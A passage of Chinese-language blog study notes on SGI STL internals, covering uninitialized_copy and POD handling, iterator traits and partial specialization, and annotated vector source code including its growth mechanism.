注意如果有需求的话,内存池中会不断的通过malloc申请新的内存,最后内存池所拥有的内存也会越来越大,当然最后进程结束的时候,这些内存都会由操作系统收回。

5. 内存基本处理工具
STL提供了五个全局函数用于处理空间,分别为:
1. construct 用于构造;
2. destroy 用于析构;
3. uninitialized_copy(first, last, result) 将[first,last)范围内的对象复制到result处;
4. uninitiated_fill(first, last, X) 将[first,last)范围内的内存用对象X的副本填充;
5. uninitiated_fill_n(first, n, X) 将first开始的n个连续的内存空间用X的副本填充;

前面提到对于destroy的实现,如果对象的析构函数是trivial的,那么什么都不用做,同样的,对于uninitialized_copy和uninitiated_fill / uninitiated_fill_n,如果对象时POD类型,那么可以直接通过复制内存的方式来实现,对于普通的POD类型,通过上层的copy函数来实现复制填充,对于char*/wchar_t*,则提供对应的特化版本,通过memmove实现(和memcpy相比,memmove支持重叠内存操作);如果不是POD类型,那么就只能通过construct实现了。

关于POD类型:

可见,POD类类型就是指class、struct、union,且不具有用户定义的构造函数、析构函数、拷贝算子、赋值算子;不具有继承关系,
因此没有基类;不具有虚函数,所以就没有虚表;非静态数据成员没有私有或保护属性的、没有引用类型的、没有非POD类类型的
(即嵌套类都必须是POD)、没有指针到成员类型的(因为这个类型内含了this指针)。

简单的说直接的内存复制操作对POD类型没有影响,比如用memset进行初始化,但这对于非POD类型是不可行的,比如存在虚函数的情况下。

判断一个类型是否是POD类型,也是通过__type_traits萃取出来的。

 
// POD类型,通过高层的copy实现
template <class _InputIter, class _ForwardIter>
inline _ForwardIter 
__uninitialized_copy_aux(_InputIter __first, _InputIter __last,
                         _ForwardIter __result,
                         __true_type)
{
  return copy(__first, __last, __result);
}
 
// 非POD类型,通过调用_Construct进行构造对象
template <class _InputIter, class _ForwardIter>
_ForwardIter 
__uninitialized_copy_aux(_InputIter __first, _InputIter __last,
                         _ForwardIter __result,
                         __false_type)
{
  _ForwardIter __cur = __result;
  __STL_TRY {
    for ( ; __first != __last; ++__first, ++__cur)
      _Construct(&*__cur, *__first);
    return __cur;
  }
  __STL_UNWIND(_Destroy(__result, __cur));
}
 
// 中间函数,通过__type_traits<_Tp>::is_POD_type萃取出POD类型
template <class _InputIter, class _ForwardIter, class _Tp>
inline _ForwardIter
__uninitialized_copy(_InputIter __first, _InputIter __last,
                     _ForwardIter __result, _Tp*)
{
  typedef typename __type_traits<_Tp>::is_POD_type _Is_POD;
  return __uninitialized_copy_aux(__first, __last, __result, _Is_POD());
}
 
// 用户接口函数
template <class _InputIter, class _ForwardIter>
inline _ForwardIter
  uninitialized_copy(_InputIter __first, _InputIter __last,
                     _ForwardIter __result)
{
  return __uninitialized_copy(__first, __last, __result,
                              __VALUE_TYPE(__result));
}
 
// char* 特化版本
inline char* uninitialized_copy(const char* __first, const char* __last,
                                char* __result) {
  memmove(__result, __first, __last - __first);
  return __result + (__last - __first);
}
 
// wchar_t* 特化版本
inline wchar_t* 
uninitialized_copy(const wchar_t* __first, const wchar_t* __last,
                   wchar_t* __result)
{
  memmove(__result, __first, sizeof(wchar_t) * (__last - __first));
  return __result + (__last - __first);
}

具体的实现方法的选择示意图如下:

uninitiated_copy实现版本选择

uninitiated_copy实现版本选择

参考
std::set_new_handler http://www.cplusplus.com/reference/new/set_new_handler/
trivial destructor http://en.cppreference.com/w/cpp/language/destructor
POD http://zh.wikipedia.org/wiki/POD_(%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1)


本文地址: 程序人生 >> STL笔记之空间配置器
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之迭代器

$
0
0

迭代器(iterator)是STL里面很基础也很重要的一个东西,迭代器的traits技术设计的很棒(在上一篇文章《STL笔记之空间配置器》中提到destroy函数使用了traits技术来判断对象是否具有trivial destructor,然后通过重载自动选择合适的实现版本)。

迭代器是一种行为类似指针的对象,因为指针最常用的是->和*两个操作符,因此迭代器最重要的编程工作也是对这两个操作符的重载的实现。

1. 初探traits技术
假设现在定义了这样一个迭代器MyIter,当我们拿到一个MyIter对象时,如何判断他的类型呢?

1
2
3
4
5
6
7
8
9
10
11
template<class T>
struct MyIter
{
    T* ptr;
    MyIter(T* p=0) : ptr(p) {}
    T& operator*() const { return *ptr; }
};
 
MyIter<int> iter(new int(1));
 
// What's type of *iter ???

在STL的实现中,给MyIter添加了一个value_type的定义,然后通过MyIter::value_type取得对应的类型,这就是所谓的traits技术了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
using namespace std;
 
template<class T>
struct MyIter
{
    typedef T value_type;  // value_type定义
    T* ptr;
    MyIter(T* p=0) : ptr(p) {}
    T& operator*() const { return *ptr; }
};
 
template<class I>
typename I::value_type     // typename用于指明I::value_type是个类型
func(I ite)
{
    return *ite;
}
 
int main(int argc, char **argv)
{
    MyIter<int> ite(new int(8));
    cout << func(ite) << endl;
 
    return 0;
}
// 输出8

上面的代码中通过模板参数的value_type来推导出具体的类型,注意typename用于指明I::value_type是个类型,如果没有typename的话,编译器将把value_type当成I的一个member或者member function。

问题:既然说迭代器是一种智能指针,那么func对于普通的原始指针也应该是可用的,但是普通的原始指针不是对象,并不不具备value_type这内嵌个类型的定义,解决之道就是使用偏特化技术(partial specialization)。

2. 模板特化
C++模板的分两种:偏特化和全特化(所谓偏特化是指部分特化)。
特化(或者说全特化,specialized)不过是一个花哨的术语,意思是形参不再为形参,它们已经有了确定的值;而偏特化(partial specialization)的意思是提供另一份template的定义,其本身仍然是一个template,或者说针对template参数更进一步的条件限制所设计出来的一个特化版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
using namespace std;
 
// traits模板的定义
template<class I>
struct my_traits
{
    typedef typename I::value_type value_type;
};
 
// 针对T*的偏特化版本
template<class T>
struct my_traits<T*>
{
    typedef T value_type;
};
 
// 针对const T*的偏特化版本
template<class T>
struct my_traits<const T*>
{
    typedef T value_type;
};
 
// MyIter定义
template<class T>
struct MyIter
{
    typedef T value_type;
    T* ptr;
    MyIter(T* p=0) : ptr(p) {}
    T& operator*() const { return *ptr; }
};
 
// func函数模板,注意返回类型为typename my_traits<I>::value_type
template<class I>
typename my_traits<I>::value_type
func(I ite)
{
    return *ite;
}
 
int main(int argc, char **argv)
{
    MyIter<int> ite(new int(8));
    cout << func(ite) << endl;
 
    int *p = new int(1);
    const int *pc = new int(2);
    cout << func(p) << endl;
    cout << func(pc) << endl;
 
    return 0;
}
// 输出8 1 2

经过添加模板偏特化版本的定义之后,func对于原始指针也可以支持了。本文重点描述迭代器相关特性,所以关于特化的更多介绍,请自行搜索相关资料。

3. 迭代器基本框架
按照约定,迭代器需要定义5个内嵌类型:iterator_category、value_type、difference_type、pointer、reference

1
2
3
4
5
6
7
8
9
10
11
12
template <class Category,
          class T,
          class Distance = ptrdiff_t,
          class Pointer = T*,
          class Reference = T&>
struct iterator {
    typedef Category    iterator_category;
    typedef T           value_type;
    typedef Distance    difference_type;
    typedef Pointer     pointer;
    typedef Reference   reference;
};

这些类型所表示的意义如下:
value type 用来表示迭代器所指对象的型别;
difference type 用来表示两个迭代器之间的距离;
reference 为引用类型;
pointer 为指针类型;
iterator_category 表明迭代器的类型;

根据迭代器移动特性与施行动作,迭代器被分为五类:
1. Input Iterator:这种迭代器所指对象,不允许外界改变,只读(read only);
2. Output Iterator:唯写(write only);
3. Forward Iterator:允许「写入型」算法(例如 replace())在此种迭代器所形成的区间上做读写动作;
4. Bidirectional Iterator:可双向移动。某些算法需要逆向走访某个迭代器区间(例如逆向拷贝某范围内的元素),就可以使用 Bidirectional Iterators;
5. Random Access Iterator:前四种迭代器都只供应一部份指标算术能力(前3
种支持 operator++ ,第4种再加上 operator–),第5种则涵盖所有指标算术能力,包括 p+n, p-n, p[n], p1-p2, p1

几种迭代器之间的关系图:
STL迭代器类型关系图

4. iterator源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#ifndef __SGI_STL_INTERNAL_ITERATOR_BASE_H
#define __SGI_STL_INTERNAL_ITERATOR_BASE_H
 
#include <concept_checks.h>
 
__STL_BEGIN_NAMESPACE
 
// 五种迭代器tag的定义
struct input_iterator_tag {};
struct output_iterator_tag {};
struct forward_iterator_tag : public input_iterator_tag {};
struct bidirectional_iterator_tag : public forward_iterator_tag {};
struct random_access_iterator_tag : public bidirectional_iterator_tag {};
 
// input_iterator 定义
template <class _Tp, class _Distance> struct input_iterator {
  // 类别为 input_iterator_tag
  typedef input_iterator_tag iterator_category;
  typedef _Tp                value_type;
  typedef _Distance          difference_type;
  typedef _Tp*               pointer;
  typedef _Tp&               reference;
};
 
// output_iterator 定义
struct output_iterator {
  // 类别为 output_iterator_tag
  typedef output_iterator_tag iterator_category;
  typedef void                value_type;
  typedef void                difference_type;
  typedef void                pointer;
  typedef void                reference;
};
 
template <class _Tp, class _Distance> struct forward_iterator {
  typedef forward_iterator_tag iterator_category;
  // ...
};
 
template <class _Tp, class _Distance> struct bidirectional_iterator {
  typedef bidirectional_iterator_tag iterator_category;
  // ...
};
 
template <class _Tp, class _Distance> struct random_access_iterator {
  typedef random_access_iterator_tag iterator_category;
  // ...
};
 
#ifdef __STL_USE_NAMESPACES
// iterator 定义
template <class _Category, class _Tp, class _Distance = ptrdiff_t,
          class _Pointer = _Tp*, class _Reference = _Tp&>
struct iterator {
  typedef _Category  iterator_category;
  typedef _Tp        value_type;
  typedef _Distance  difference_type;
  typedef _Pointer   pointer;
  typedef _Reference reference;
};
#endif /* __STL_USE_NAMESPACES */
 
// 偏特化
#ifdef __STL_CLASS_PARTIAL_SPECIALIZATION
 
// iterator_traits 模板
template <class _Iterator>
struct iterator_traits {
  typedef typename _Iterator::iterator_category iterator_category;
  typedef typename _Iterator::value_type        value_type;
  typedef typename _Iterator::difference_type   difference_type;
  typedef typename _Iterator::pointer           pointer;
  typedef typename _Iterator::reference         reference;
};
 
// iterator_traits 针对指针的特化版本
template <class _Tp>
struct iterator_traits<_Tp*> {
  typedef random_access_iterator_tag iterator_category;
  typedef _Tp                         value_type;
  typedef ptrdiff_t                   difference_type;
  typedef _Tp*                        pointer;
  typedef _Tp&                        reference;
};
 
// iterator_traits 针对const指针的特化版本
template <class _Tp>
struct iterator_traits<const _Tp*> {
  typedef random_access_iterator_tag iterator_category;
  typedef _Tp                         value_type;
  typedef ptrdiff_t                   difference_type;
  typedef const _Tp*                  pointer;
  typedef const _Tp&                  reference;
};
 
// 获取迭代器的类型 (返回一个该类型的对象)
template <class _Iter>
inline typename iterator_traits<_Iter>::iterator_category
__iterator_category(const _Iter&)
{
  typedef typename iterator_traits<_Iter>::iterator_category _Category;
  return _Category();
}
 
// 获取迭代器的 __distance_type
template <class _Iter>
inline typename iterator_traits<_Iter>::difference_type*
__distance_type(const _Iter&)
{
  return static_cast<typename iterator_traits<_Iter>::difference_type*>(0);
}
 
// 获取迭代器的 __value_type
template <class _Iter>
inline typename iterator_traits<_Iter>::value_type*
__value_type(const _Iter&)
{
  return static_cast<typename iterator_traits<_Iter>::value_type*>(0);
}
 
// __iterator_category 的const参数版本
template <class _Iter>
inline typename iterator_traits<_Iter>::iterator_category
iterator_category(const _Iter& __i) { return __iterator_category(__i); }
 
// __distance_type 的const参数版本
template <class _Iter>
inline typename iterator_traits<_Iter>::difference_type*
distance_type(const _Iter& __i) { return __distance_type(__i); }
 
// __value_type 的const参数版本
template <class _Iter>
inline typename iterator_traits<_Iter>::value_type*
value_type(const _Iter& __i) { return __value_type(__i); }
 
#define __ITERATOR_CATEGORY(__i) __iterator_category(__i)
#define __DISTANCE_TYPE(__i)     __distance_type(__i)
#define __VALUE_TYPE(__i)        __value_type(__i)
 
#else /* __STL_CLASS_PARTIAL_SPECIALIZATION */
// 如果不支持偏特化,那么就需要定义iterator_category的函数重载的形式了
// 这里略去了此部分源代码的解释,因为估计也只有{非主流}编译器才不支持偏特化吧
 
#endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */
 
// 体验traits技术的威力,针对不同的迭代器类型定义不同的distance实现版本
// _InputIterator 版本
template <class _InputIterator, class _Distance>
inline void __distance(_InputIterator __first, _InputIterator __last,
                       _Distance& __n, input_iterator_tag)
{
  while (__first != __last) { ++__first; ++__n; }
}
 
// _RandomAccessIterator版本
template <class _RandomAccessIterator, class _Distance>
inline void __distance(_RandomAccessIterator __first, 
                       _RandomAccessIterator __last, 
                       _Distance& __n, random_access_iterator_tag)
{
  __STL_REQUIRES(_RandomAccessIterator, _RandomAccessIterator);
  __n += __last - __first;
}
 
// distance 接口
// 注意 _RandomAccessIterator 也是 _InputIterator
template <class _InputIterator, class _Distance>
inline void distance(_InputIterator __first, 
                     _InputIterator __last, _Distance& __n)
{
  __STL_REQUIRES(_InputIterator, _InputIterator);
  // 通过 iterator_category 取得迭代器类型
  __distance(__first, __last, __n, iterator_category(__first));
}
 
#ifdef __STL_CLASS_PARTIAL_SPECIALIZATION
// 对_Distance进行了特化
template <class _InputIterator>
inline typename iterator_traits<_InputIterator>::difference_type
__distance(_InputIterator __first, _InputIterator __last, input_iterator_tag)
{
  typename iterator_traits<_InputIterator>::difference_type __n = 0;
  while (__first != __last) {
    ++__first; ++__n;
  }
  return __n;
}
 
template <class _RandomAccessIterator>
inline typename iterator_traits<_RandomAccessIterator>::difference_type
__distance(_RandomAccessIterator __first, _RandomAccessIterator __last,
           random_access_iterator_tag) {
  __STL_REQUIRES(_RandomAccessIterator, _RandomAccessIterator);
  return __last - __first;
}
 
template <class _InputIterator>
inline typename iterator_traits<_InputIterator>::difference_type
distance(_InputIterator __first, _InputIterator __last) {
  typedef typename iterator_traits<_InputIterator>::iterator_category 
    _Category;
  __STL_REQUIRES(_InputIterator, _InputIterator);
  return __distance(__first, __last, _Category());
}
 
#endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */
 
// 体验traits技术的威力,针对不同的迭代器类型定义不同的advance实现版本
// _InputIterator 版本
template <class _InputIter, class _Distance>
inline void __advance(_InputIter& __i, _Distance __n, input_iterator_tag) {
  while (__n--) ++__i;
}
 
#if defined(__sgi) && !defined(__GNUC__) && (_MIPS_SIM != _MIPS_SIM_ABI32)
#pragma set woff 1183
#endif
 
// _BidirectionalIterator 之前前进与后退
template <class _BidirectionalIterator, class _Distance>
inline void __advance(_BidirectionalIterator& __i, _Distance __n, 
                      bidirectional_iterator_tag) {
  __STL_REQUIRES(_BidirectionalIterator, _BidirectionalIterator);
  if (__n >= 0)
    while (__n--) ++__i;
  else
    while (__n++) --__i;
}
 
#if defined(__sgi) && !defined(__GNUC__) && (_MIPS_SIM != _MIPS_SIM_ABI32)
#pragma reset woff 1183
#endif
 
// _RandomAccessIterator版本
template <class _RandomAccessIterator, class _Distance>
inline void __advance(_RandomAccessIterator& __i, _Distance __n, 
                      random_access_iterator_tag) {
  __STL_REQUIRES(_RandomAccessIterator, _RandomAccessIterator);
  __i += __n;
}
 
// advance 接口
template <class _InputIterator, class _Distance>
inline void advance(_InputIterator& __i, _Distance __n) {
  __STL_REQUIRES(_InputIterator, _InputIterator);
  __advance(__i, __n, iterator_category(__i));
}
 
__STL_END_NAMESPACE
 
#endif /* __SGI_STL_INTERNAL_ITERATOR_BASE_H */

代码中有distance和advance两个函数,通过traits技术自动使用最佳的实现函数。

5. __type_traits
除了iterator_traits采用了traits技术外,还有一个叫做__type_traits的东西,也就是文章开头提到的:上一篇文章《STL笔记之空间配置器》就用到了__type_traits。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 模拟true和false定义的两个空类型
struct __true_type {
};
 
struct __false_type {
};
 
template <class _Tp>
struct __type_traits { 
   typedef __true_type     this_dummy_member_must_be_first;
   // 默认都是返回__false_type
   // 无意义的构造函数
   typedef __false_type    has_trivial_default_constructor;
   // 无意义的复制构造函数
   typedef __false_type    has_trivial_copy_constructor;
   // 无意义的赋值操作符
   typedef __false_type    has_trivial_assignment_operator;
   // 无意义的析构函数
   typedef __false_type    has_trivial_destructor;
   // 是否是POD类型
   typedef __false_type    is_POD_type;
};
 
// #define __STL_TEMPLATE_NULL template<>
// 这里定义的都是全特化版本
__STL_TEMPLATE_NULL struct __type_traits<char> {
   typedef __true_type    has_trivial_default_constructor;
   typedef __true_type    has_trivial_copy_constructor;
   typedef __true_type    has_trivial_assignment_operator;
   typedef __true_type    has_trivial_destructor;
   typedef __true_type    is_POD_type;
};
// ...
 
// 用于判断一个函数是否是整数类型
template <class _Tp> struct _Is_integer {
  // 默认不是整数类型
  typedef __false_type _Integral;
};
 
// 全特化版本
__STL_TEMPLATE_NULL struct _Is_integer<char> {
  typedef __true_type _Integral;
};

6. 迭代器设计模式
迭代器模式是GoF提出的23中设计模式之一,迭代器模式提供一种方法顺序访问一个聚合对象中各个元素,而又不暴露该对象的内部表示。就如刚接触map/set等关联容器的时候,我们能够通过迭代器访问所有容器元素,却不知道容器是用红黑树实现的一样。

迭代器模式的类图结构如下:
设计模式的迭代器模式类图

参考
1. C++模板:究竟什么是特化?


本文地址: 程序人生 >> STL笔记之迭代器
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


STL笔记之vector

$
0
0

vector是初次了解STL接触最多的一个容器,是一种很方便的数组替代品,不需要显示指定容量大小,其内部可以根据需要进行自动扩容操作。也正因为这个特性,每次扩容的时候都会伴随着“配置新空间 / 移动旧数据 / 释放旧空间”的操作,因此是有一定的时间成本的,当然vector提供了reserve接口,如果能够对元素个数有一个大概的了解,那么可以一开始就分配合适的空间。vector的内存空间是连续的,因此对插入元素的操作而言,在vector尾部插入才是合适的选择。

1. _Vector_base 基类
SGI STL的vector拥有一个叫做_Vector_base基类,该类主要定义一个基本框架(start、finish、end_of_storage三个指针),并在构造函数和析构函数中进行空间的分配与回收操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// vector 基类 _Vector_base 定义
template <class _Tp, class _Alloc> 
class _Vector_base {
public:
  typedef _Alloc allocator_type;
  // 获取一个空间配置器对象
  allocator_type get_allocator() const { return allocator_type(); }
  // 默认构造:没有指定初始节点个数
  _Vector_base(const _Alloc&)
    : _M_start(0), _M_finish(0), _M_end_of_storage(0) {}
  // 构造函数:指定节点个数n
  _Vector_base(size_t __n, const _Alloc&)
    : _M_start(0), _M_finish(0), _M_end_of_storage(0) 
  {
    // 分配 n 个节点所需空间
    _M_start = _M_allocate(__n);    // _M_start  指向起始位置
    _M_finish = _M_start;           // _M_finish 指向其实位置
    _M_end_of_storage = _M_start + __n; // _M_end_of_storage指向内存末尾节点
  }
  // 析构函数:释放内存空间
  ~_Vector_base() { _M_deallocate(_M_start, _M_end_of_storage - _M_start); }
 
protected:
  _Tp* _M_start;            // 指向第一个元素所在的节点
  _Tp* _M_finish;           // 指向最后一个元素所在节点的下一个节点
  _Tp* _M_end_of_storage;   // 可用内存空间的末尾节点
  // 空间配置器
  typedef simple_alloc<_Tp, _Alloc> _M_data_allocator;
  // 分配 n 个节点所需要的空间
  _Tp* _M_allocate(size_t __n)
    { return _M_data_allocator::allocate(__n); }
  // 释放 n 个节点所对应的空间
  void _M_deallocate(_Tp* __p, size_t __n) 
    { _M_data_allocator::deallocate(__p, __n); }
};

2. vector 成员函数分析
迭代器相关函数定义,包括begin(), end() 以及 const版本、reverse版本、reverse const版本:

  iterator begin() { return _M_start; }
  const_iterator begin() const { return _M_start; }
  iterator end() { return _M_finish; }
  const_iterator end() const { return _M_finish; }
 
  reverse_iterator rbegin()
    { return reverse_iterator(end()); }
  const_reverse_iterator rbegin() const
    { return const_reverse_iterator(end()); }
  reverse_iterator rend()
    { return reverse_iterator(begin()); }
  const_reverse_iterator rend() const
    { return const_reverse_iterator(begin()); }

元素个数相关定义:

  // 元素个数
  size_type size() const
    { return size_type(end() - begin()); }
  // 最大元素个数:超出这个数目将会溢出32位空间
  size_type max_size() const
    { return size_type(-1) / sizeof(_Tp); }
  // 容量:现有空间能够容纳的元素个数
  size_type capacity() const
    { return size_type(_M_end_of_storage - begin()); }
  // 是否为空
  bool empty() const
    { return begin() == end(); }

下标访问操作,包括不检查是否越界的[]操作符,以及检查是否越界的at函数:

  // []操作符:non-const / const
  reference operator[](size_type __n) { return *(begin() + __n); }
  const_reference operator[](size_type __n) const { return *(begin() + __n); }
 
  // 如果元素索引越界则抛出异常
  void _M_range_check(size_type __n) const {
    if (__n >= this->size())
      __stl_throw_range_error("vector");
  }
 
  // 通过at访问元素会检查是否越界
  reference at(size_type __n)
    { _M_range_check(__n); return (*this)[__n]; }
  const_reference at(size_type __n) const
    { _M_range_check(__n); return (*this)[__n]; }

构造函数与析构函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
  // 无参数的构造函数
  explicit vector(const allocator_type& __a = allocator_type())
    : _Base(__a) {}
  // 指定元素个数n以及元素初始值的构造函数
  vector(size_type __n, const _Tp& __value,
         const allocator_type& __a = allocator_type()) 
    : _Base(__n, __a)
    { _M_finish = uninitialized_fill_n(_M_start, __n, __value); }
  // 指定元素个数n的构造函数
  explicit vector(size_type __n)
    : _Base(__n, allocator_type())
    { _M_finish = uninitialized_fill_n(_M_start, __n, _Tp()); }
  // 复制构造函数
  vector(const vector<_Tp, _Alloc>& __x) 
    : _Base(__x.size(), __x.get_allocator())
    { _M_finish = uninitialized_copy(__x.begin(), __x.end(), _M_start); }
 
#ifdef __STL_MEMBER_TEMPLATES
  // 迭代器传参构造函数
  template <class _InputIterator>
  vector(_InputIterator __first, _InputIterator __last,
         const allocator_type& __a = allocator_type()) : _Base(__a) {
    typedef typename _Is_integer<_InputIterator>::_Integral _Integral;
    _M_initialize_aux(__first, __last, _Integral());
  }
 
  template <class _Integer>
  void _M_initialize_aux(_Integer __n, _Integer __value, __true_type) {
    _M_start = _M_allocate(__n);
    _M_end_of_storage = _M_start + __n; 
    _M_finish = uninitialized_fill_n(_M_start, __n, __value);
  }
 
  template <class _InputIterator>
  void _M_initialize_aux(_InputIterator __first, _InputIterator __last,
                         __false_type) {
    _M_range_initialize(__first, __last, __ITERATOR_CATEGORY(__first));
  }
 
#else
  vector(const _Tp* __first, const _Tp* __last,
         const allocator_type& __a = allocator_type())
    : _Base(__last - __first, __a) 
    { _M_finish = uninitialized_copy(__first, __last, _M_start); }
#endif /* __STL_MEMBER_TEMPLATES */
  // 析构函数:destroy负责对元素进行析构操作,空间回收由父类负责
  ~vector() { destroy(_M_start, _M_finish); }

需要注意的是第5行所在的构造函数和第20行所在的构造函数可能产生冲突,因为对第20行的构造函数而言,如果first和last都是数值的话,存在两种情况:
1. first和last是指针,迭代器也是指针,也就是first和last确实是迭代器;
2. first是n,last是value,也就是first和last是整形;
这里通过上一篇文章《STL笔记之迭代器》中提到的type_traits技术来进行鉴别,然后通过重载机制选择正确的实现版本。

reserve函数:If n is less than or equal to capacity(), this call has no effect. 只有设定的大小n比旧的容量大时才有作用。

  void reserve(size_type __n) {
    // 如果n比容量要小,那么不进行任何操作
    if (capacity() < __n) {
      // 元素个数
      const size_type __old_size = size();
      // 分配新的空间并进行复制操作
      iterator __tmp = _M_allocate_and_copy(__n, _M_start, _M_finish);
      // 析构旧区间里的元素
      destroy(_M_start, _M_finish);
      // 释放旧区间所占用的空间
      _M_deallocate(_M_start, _M_end_of_storage - _M_start);
      // 调整三个指针
      _M_start = __tmp;
      _M_finish = __tmp + __old_size;
      _M_end_of_storage = _M_start + __n;
    }
  }

swap成员函数:实际上是交换了两个vector内部的三个指针,因此效率是非常高的!

  void swap(vector<_Tp, _Alloc>& __x) {
    __STD::swap(_M_start, __x._M_start);
    __STD::swap(_M_finish, __x._M_finish);
    __STD::swap(_M_end_of_storage, __x._M_end_of_storage);
  }

同时对全局的swap进行了重载操作:

template <class _Tp, class _Alloc>
inline void swap(vector<_Tp, _Alloc>& __x, vector<_Tp, _Alloc>& __y)
{
  __x.swap(__y);
}

插入以及删除操作:

  // 在指定位置插入一个元素
  iterator insert(iterator __position, const _Tp& __x) {
    size_type __n = __position - begin();
    // 直接在尾部插入
    if (_M_finish != _M_end_of_storage && __position == end()) {
      construct(_M_finish, __x);
      ++_M_finish;
    }
    else
      // 调用辅助函数实现
      _M_insert_aux(__position, __x);
    // 指向新插入的元素
    return begin() + __n;
  }
 
  // 删除末尾元素
  void pop_back() {
    --_M_finish;
    destroy(_M_finish);
  }
 
  // 删除指定位置的元素
  iterator erase(iterator __position) {
    // 如果不是最后一个元素,那么把后面的元素往前移动
    if (__position + 1 != end())
      copy(__position + 1, _M_finish, __position);
    // 删除最后一个元素
    --_M_finish;
    destroy(_M_finish);
    return __position;
  }
 
  // 删除指定区间内的元素
  iterator erase(iterator __first, iterator __last) {
    // 后面的元素往前移动
    iterator __i = copy(__last, _M_finish, __first);
    // 析构末尾的元素
    destroy(__i, _M_finish);
    // 调整指针
    _M_finish = _M_finish - (__last - __first);
    return __first;
  }
 
  // resize操作
  void resize(size_type __new_size, const _Tp& __x) {
    // 尺寸变小:删除末尾多余的元素
    if (__new_size < size()) 
      erase(begin() + __new_size, end());
    // 尺寸变大:往末尾插入新元素
    else
      insert(end(), __new_size - size(), __x);
  }
  void resize(size_type __new_size) { resize(__new_size, _Tp()); }
  // 清空所有元素
  void clear() { erase(begin(), end()); }

赋值操作符:

template <class _Tp, class _Alloc>
vector<_Tp,_Alloc>& 
vector<_Tp,_Alloc>::operator=(const vector<_Tp, _Alloc>& __x)
{
  // 如果是自己赋值给自己那么不进行任何操作
  if (&__x != this) {
    const size_type __xlen = __x.size();
    // 如果 new size > cur capacity,则必须分配新的空间
    if (__xlen > capacity()) {
      iterator __tmp = _M_allocate_and_copy(__xlen, __x.begin(), __x.end());
      destroy(_M_start, _M_finish);
      _M_deallocate(_M_start, _M_end_of_storage - _M_start);
      _M_start = __tmp;
      _M_end_of_storage = _M_start + __xlen;
    }
    // 如果new size <= cur size,则复制新的元素,并析构末尾的旧元素
    else if (size() >= __xlen) {
      iterator __i = copy(__x.begin(), __x.end(), begin());
      destroy(__i, _M_finish);
    }
    // 如果new size > cur size 并且容量足够,则直接复制即可
    else {
      copy(__x.begin(), __x.begin() + size(), _M_start);
      uninitialized_copy(__x.begin() + size(), __x.end(), _M_finish);
    }
    // 调整指针
    _M_finish = _M_start + __xlen;
  }
  return *this;
}

3. vector 动态扩容机制
vector的push_back源码如下,当还有可用空间的时候,直接在末尾构造一个新的节点,否则通过调用辅助函数_M_insert_aux来实现。

  void push_back(const _Tp& __x) {
    if (_M_finish != _M_end_of_storage) {
      construct(_M_finish, __x);
      ++_M_finish;
    }
    else
      _M_insert_aux(end(), __x);  // 需要重新配置空间
  }

_M_insert_aux中,仍然会判断空间是否足够,不够的情况下会进行“配置新空间 / 移动旧数据 / 释放旧空间”的操作,空间是成倍增长的,_M_insert_aux的源代码如下:

template <class _Tp, class _Alloc>
void 
vector<_Tp, _Alloc>::_M_insert_aux(iterator __position, const _Tp& __x)
{
  // 如果还有可用空间
  if (_M_finish != _M_end_of_storage) {
    // 把最后一个元素往复制到下一个节点
    construct(_M_finish, *(_M_finish - 1));
    // 调整finish指针
    ++_M_finish;
    // 临时对象
    _Tp __x_copy = __x;
    // copy_backward(first, last, result);
    // 复制[first, last) 到 [result - (last - first), result)
    // 即[position, finfish-2)往后移动一个节点
    copy_backward(__position, _M_finish - 2, _M_finish - 1);
    // 插入元素
    *__position = __x_copy;
  }
  // 空间不够用了,需要重新配置
  else {
    // 旧的大小
    const size_type __old_size = size();
    // 如果旧的大小为0,那么新的大小为1
    // 如果旧的大小不为0,那么新的大小为旧的两倍
    const size_type __len = __old_size != 0 ? 2 * __old_size : 1;
    // 分配新的内存区块
    iterator __new_start = _M_allocate(__len);
    iterator __new_finish = __new_start;
    __STL_TRY {
      // 复制旧的区间内容 [start, position)
      __new_finish = uninitialized_copy(_M_start, __position, __new_start);
      // 插入元素到新的区间的position位置
      construct(__new_finish, __x);
      // new finish后移
      ++__new_finish;
      // 复制position之后的元素 [position, finish)
      __new_finish = uninitialized_copy(__position, _M_finish, __new_finish);
    }
    // 如果出现异常则进行回滚操作
    __STL_UNWIND((destroy(__new_start,__new_finish), 
                  _M_deallocate(__new_start,__len)));
    // 析构旧区间里面的元素
    destroy(begin(), end());
    // 回收旧空间
    _M_deallocate(_M_start, _M_end_of_storage - _M_start);
    // 调整指针
    _M_start = __new_start;
